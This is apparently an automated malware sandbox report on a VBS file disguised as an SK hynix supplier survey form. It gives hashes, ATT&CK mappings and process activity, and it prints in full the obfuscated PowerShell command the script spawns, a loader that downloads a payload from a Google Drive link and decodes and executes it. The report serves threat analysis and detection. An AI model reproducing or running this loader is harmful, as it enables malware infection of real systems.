ce47d649ae973ea63f08e678367e58a90fdda8304e1ca930b232dcb1ea29784e

General

Target

[SK하이닉스 ] 2024년 하반기 협력사 예비조사표.vbs
Size

15KB
MD5

ecdc2bdc4b6797e46ba636a37e9f4dc9
SHA1

46c1326fcad9f2081169a8e204108d9987d3140b
SHA256

aa39f9573531ad0822df9283582e801e104119339b4bc9553feac79f4c9da435
SHA512

323da981a911a54bfeb56e76a0cd8899c74dbce07682f381f9ea3974b8f5c1a2a3c4563feabf67085da5317b69216e3beefad16b7cb1b357eae46f6faaf399ed
SSDEEP

384:8aEIukP7IsT0LanTOfEia9SLFrA3BY99uN7yrkC:BBTIsguTOfi9SRrIY3ubC

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2304	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3020	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3020	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3020	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2304 wrote to memory of 3020	2304	WScript.exe	29
PID 2304 wrote to memory of 3020	2304	WScript.exe	29
PID 2304 wrote to memory of 3020	2304	WScript.exe	29

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\[SK하이닉스 ] 2024년 하반기 협력사 예비조사표.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2304
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Registrerapparaters Vildtreservatets Untrue Yderbanes Tamaraus Rislendes #><#Rygskstativ Fiskeskippere Uanmodedes #>$Udvisningsordren='Forskningsledere';function Bjergvrks($Gamblerne){If ($host.DebuggerEnabled) {$Brsspekulationen=4} for ($Latinamerikaneres=$Brsspekulationen;;$Latinamerikaneres+=5){if(!$Gamblerne[$Latinamerikaneres]) { break }$Paraderer+=$Gamblerne[$Latinamerikaneres]}$Paraderer}function Leukosens($Latinamerikaneresiasa){ .($Klbemrke) ($Latinamerikaneresiasa)}$Skogbolite=Bjergvrks 'ElecnGejseBracT Veg. atcWHaemESkrmbStorCLubrL aabi SpueNonoN icat';$Regerer191=Bjergvrks ' AfvMSej o ParzJy li VarlNectl G aaTrau/';$Skriftsted124=Bjergvrks 'SuppT InflVanssSam 1B li2';$kontantprisernes=' Tu,[BussN.tcheSqu,tRefl.Ex.osv,reepuncrUnyivMblei DinCCoune un p,vadoPeruiBen,Nesc TAntim eraDukkNDentAAsphg JorETildrbr.v]fo,h:Lewd:SangsTotaEPletcRetsuEgepR PegIIg aTUnbiyRyn,PP ucr ForoPopiT AmoOSycoc RarOAvoiLToil=Svan$ TroSHistkBlovR I oI ollFHarbTElves rd.tLukrEFlj,d rd1Raa 2 ,en4';$Regerer191+=Bjergvrks 'cure5 Tor.Tils0 An. I,lu(EncoWPeleiRaj nMuskdV.dlo,istw trsUd.s QuanN ExuTMic Paro1Dis 0Oplr.Frat0Bovo;guld BerrWSagnihjrenSi k6 Ud 4 urn;Just PearxPref6Frem4henv; mme PandrP mav,ord: L s1Vare3Kuwa1U as.Okse0 C,u) H,v drG.ommeZooscRefok SjioSarg/Be o2Welk0 Lik1Grae0Hard0A ol1star0 ull1ac n FooF estiNoncr.vereKabafMilloOrdrxFo l/Mat 1Outs3Bran1 Tan.R.ce0';$Denazification=Bjergvrks 'AngluResesSubrENoncrAnbe-AnneAhirgGBymiEOxfoNGutsT';$Aureously=Bjergvrks ' Kldh R ttOmb.t Su,pMartsMeni:Spee/Pala/NikodFolkr Mo iBegrv.araeLrer.,orngRaptoVgteo T.ig acrl U geDist.Uvorc ,neoLozemAnim/CenouOvercSubd?FolkeAnomxKastp HoroTt.irN bet Rek=ElepdBes oIsolw.ursn UnglBe soj.leaMo,ndKoll&K,eriAlv dOrni=Bilm1Naut7 ArahdeciiUrceuOverlNedkZPjalx konJPl.s-Vandx tmovAgonaSmkkyShriY Te WSurpQA.kiQ omcR,ddh BajBNeurQ utcYVk,ewExostTimeGSe vcUdg.KD.bbF AutyTypev N dIT isV';$Katalepsi=Bjergvrks 'Folk>';$Klbemrke=Bjergvrks 'UndeiSatiENaphX';$Rektangelet='underholdshjlp';$Callas='\Dreamers.Lan';Leukosens (Bjergvrks 'Empr$KopiGs,ndlCa.poAfdeBTenoaNe vLMisf:,oryhBleuah stPScletHenrEWaggr UnleTr c2Jirk0 Rud6 Bu =Roma$FlacEPhosN ModvUtaa:FlasARai p,runpLangDSeraA IrrtSlotA Inc+satr$Qua CRep A .orLfourLudkoA HogS');Leukosens (Bjergvrks ' Ulm$WeargMeteLOp ro Pr bPro.ANumbLH gg: Mons Sk itilkK StnKGor E GodRPicohTaiseDisoDDigeSR,tsGIrvir iofa.eridD abeEj rnSvovsde t=Acti$KntraMedkUAadsRVolleGramO ArvuSk,bS nwlBookYV nl.EgocsUr kPR koLKmp I NebtFibr(flet$Chaok ,oraF igT UniaB reLCigaEFeltPOsmoSStnkI Top)');Leukosens (Bjergvrks $kontantprisernes);$Aureously=$Sikkerhedsgradens[0];$Popularizer=(Bjergvrks 'D bd$UnergWagoLUdplod gdbKa oASm lLResb:DextE AttkOutwSAntikTim L Dicu FlisCaliiMjeaVB,llITydeTUndrEAfs TImagEGl sNSe i=Subcn UncE ndew Ell-AdeloLuckb SpiJ TjrE PyecGipstSkep FdeSSmutY FlaSBipotPhyteSkygM Kic.Ifal$ k.rsbndekClawO R cG TilbPol OBillLStnkiF,rhT yoee');Leukosens ($Popularizer);Leukosens (Bjergvrks 'Ratt$Ope E,onfkAcros,ntukT.anlSpinuXenosP shiSacrvM thiEpittGrateModette reSqu nVari.DecoH iseStuda S.odAfhne udlrPirasDan [Jigg$ Rd DPho eT,nkn CytaI htzSp eiTalkfUndeiSeencBopla SjltBra isteeoD cenG mn]Mask=Proc$cereRE saeLissg aleDoggrBungeTu arCatt1Dela9Co c1');$Tripelalliancens=Bjergvrks 'Havg$I laEPizzk PyosAt ekAbatlUdvauJ,wpspolyiskulvOrgaiSt.wtS ore C rtRelae tan nco.BelaD MikoOprewG oun PiqlHen o E aa Pi.dPremFSasii DislFangeBars(Misq$Fo fACulduSpgerSnneeinsuoAfspuMegasvugglMiliyToxi, nt$FugiMCephaCompr EtekKalde Vibt T kpInf lPsalaRosecAutoevkst)';$Marketplace=$Haptere206;Leukosens (Bjergvrks ' dfa$TrreGMiaoljok,o atobL tkaSttylMono:.tvbpSu,cRGynaECentSMa rEMod,RReptvSupeaunmaTpolao ,arRArt.YSypi=Mi f(StavT EfreEjersHexotOct -FiskpmultARep,t yraH,dde ly e$ElevMMercAFa.mRKlimKFe.te EnftCocap PtoL ChiaAfmaC Pe E lat)');while (!$Preservatory) {Leukosens (Bjergvrks 'Patr$ Preg Skilaffao B lbE glaWanilflis:pompBVensaadopaSnigd OvosNonrm H raKip,nSnardG ves Ty pAdmiiRakebnonoeReacrQuars gte= Li $CiviBc.esrProfoRedatFesthCrayeObterB tyeSphid') ;Leukosens $Tripelalliancens;Leukosens (Bjergvrks 'PolysRepaT veraM sdrdrflt Lap-DeemspoldlaareELillE RhePPati f,rc4');Leukosens (Bjergvrks 'Aand$Tabeg ejelPuzzoLandbRaadADriflBio,:K,igpElsaRSuboE ArgsC ndEBeslrSch VPar A MantMo.poUnspR Gy.YArch=.top( hinTspawe ModsHandtF.rs-FortpPo aA spT U.oHU be D ng$ Mesm L,nA gneRSognKRaadEPhonT Un.pMonoLRetoa etocS.ukEF rd)') ;Leukosens (Bjergvrks 'Temp$Soa.GAnthl F noAfrebMosaAmrkelRepr:Oph BPlebrShotnEvaleExc l Nato ,hrkBestK,onse onrLande Bet= Una$YawpGTempL.caloBasebSankAkon lbeor:LegaS rbeuUnlinstr dSubchUndeee codDeflsPhthPKooroFrusL eptILoxitVin.iN tuSPsycKSlot+Spal+ ,ve%Demy$AutosPraeIForkKSndaKAk uEPourrLivsHAf aeHo,kdScarSZeisgBradrbimea apod Skae repNgangSUnri. IndcI,inoConnu D.snfor T') ;$Aureously=$Sikkerhedsgradens[$Brnelokkere]}$Otiant24=284090;$Bouillonen=30480;Leukosens (Bjergvrks 'Roco$E cagP ralFranoForuBKlasA ,diLC mi:StiveSpe ADvehr BlatD sshHi diAleuN P.aEVitasYeniS Pol .omb= Pre FastGMuseEQua t adb-BegrCOrohOvverndrmmTAutoE Sk.nF.ertLi.e Moms$PsycM SheaLamprDet KGadeeSemiTMe.aPBalaLNonaaflowCGuide');Leukosens (Bjergvrks 'Wors$Sulpg SinlCeliojerkbBar.aUranlpriv:pancSSisstStyleBrinnOversAfl tShivoSiber B,tmC vi Ae,=Appe Squ[Tu,mSDispyHys.s Alet KraePorkm.bdi.FremCsy soDehonLednvS eke AflrD mitgenn]Katt:Regn: Bi FDeiprKontoKemim MarBGuldaTrads asseball6Bred4M noS armt RedrFjeliNoncnDuf gunte(Anal$ IstE an aSmidrMud tKalkh SeniBaccn emte HersVitis.ire)');Leukosens (Bjergvrks 'Vari$ dlG UnclMewlo ilfBStddAextrLSe d:TentEKo,ogBlace DistS.miFUpsmOCanuRBoksbS ndRMinduJ vigSata Gobo=Depo Udpo[TrilSWhisYudposfluaT SkaEBrugMNonn. UdmtP beeBlunX KorTOpla.ErobE BabNauthCKe.lO pytdSydyiR.senLndeG ele]Send:Fejl:Em,cAUf rSAgerCbnhrISrgeiFrem.CannGFauseTussTNervsDeceT RebR Maxi H ln BurgNeur( es$MarjS nasT WooeAtteNDrbtSRetsT argo.torrCobbMScu )');Leukosens (Bjergvrks ' ud,$Ved GUndelForuoStnkBSlj AHardLBour:,ndkKFarlOPhiamContpKageoTektNOpsle ma.NGenitBechA Un,nWushaDummlBelfyAksiSStenE.ator esnUbeteAmyx=Bopl$RanueVerdg EmbeSpuftSemifFascO Itar An B onRCoinuBuf g Cys. BilsVilkU SchB obsSlettTeo r Laai ypoN etrgMat (W od$ZariOGypst RepIA paAUnatNRn,eTEn,o2Ha.n4,ont,Matr$ G,aBDudlo MinuMur IUndeLOv.rlUdr O.cytn Ca.e BenNsvej)');Leukosens $Komponentanalyserne;"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3020

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Cab273.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
memory/3020-20-0x000007FEF620E000-0x000007FEF620F000-memory.dmp

Filesize
4KB

Download
memory/3020-21-0x000000001B410000-0x000000001B6F2000-memory.dmp

Filesize
2.9MB

Download
memory/3020-22-0x0000000002410000-0x0000000002418000-memory.dmp

Filesize
32KB

Download
memory/3020-23-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/3020-24-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/3020-25-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/3020-26-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/3020-27-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/3020-28-0x000007FEF620E000-0x000007FEF620F000-memory.dmp

Filesize
4KB

Download
memory/3020-29-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/3020-30-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/3020-31-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/3020-32-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing